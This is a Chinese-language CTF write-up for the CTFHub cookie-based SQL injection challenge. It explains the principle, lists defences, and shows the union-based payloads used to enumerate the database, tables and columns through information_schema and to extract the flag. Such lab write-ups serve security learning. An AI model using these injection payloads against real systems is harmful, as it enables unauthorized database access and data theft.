CTFHub - Cookie注入

目录

1. Cookie注入原理

2. 防御

3. 初始数据包内容

4. 获取数据库 库名称

5. 获取数据表 表名称

6. 获取列名

7. 获取数据


1. Cookie注入原理

  1. Cookie是存储在客户端浏览器中的小型文本文件,用于在服务器和客户端之间传递数据。应用程序常常使用Cookie来存储用户身份验证信息、会话标识符等敏感信息。
  2. Cookie注入的原理是攻击者通过修改或伪造Cookie中的值,将恶意的SQL代码注入到应用程序的数据库查询中,从而执行非授权的操作或获取未经授权的数据。

2. 防御

  • 对于从Cookie中提取的数据,始终进行充分的验证和过滤。
  • 使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
  • 最小化数据库用户的权限,确保数据库用户只能执行必要的操作。
  • 定期更新和修补应用程序以解决已知的安全漏洞。

3. 初始数据包内容

        SQL 注入点不止会出现在GET 参数或POST 参数中。其中Cookie注入则是一种特定的SQL注入形式,它利用了应用程序中使用的Cookie来进行攻击。

        此题为Cookie注入,所以我们利用bp进行抓包,找到数据包内的Cookie进行注入。

CTFHub - Cookie注入_第1张图片

4. 获取数据库 库名称

        因为在CTFHub中web内SQL板块使用的是同一个数据库,所以列数是相同的。于是略过了判断列数的步骤,直接进入正题。

-2 union select 1,database()

CTFHub - Cookie注入_第2张图片

5. 获取数据表 表名称

        使用的命令为:select * from 表名 where 限制条件。

        table_schema=database() :选择当前连接的数据库(sqli)中的所有表。

        group_concat:多个行的值合并为一个字符串的聚合函数。通俗的将就是回显出所有内容。

        可以发现此处没有【flag】表,取而代之的是【gzuhxxtsjy】,查看该表中的列名。

       【news】表一直都存在,所以第一想法先不考虑此表中的内容。

-2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

CTFHub - Cookie注入_第3张图片

6. 获取列名

        table_name='gzuhxxtsjy' :选择表名为【gzuhxxtsjy】的表的数据。

-2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='gzuhxxtsjy'

CTFHub - Cookie注入_第4张图片

7. 获取数据

-2 union select 1,nqxditexuo from gzuhxxtsjy

CTFHub - Cookie注入_第5张图片

你可能感兴趣的:(CTFHub,网络安全,web安全,数据库,sql)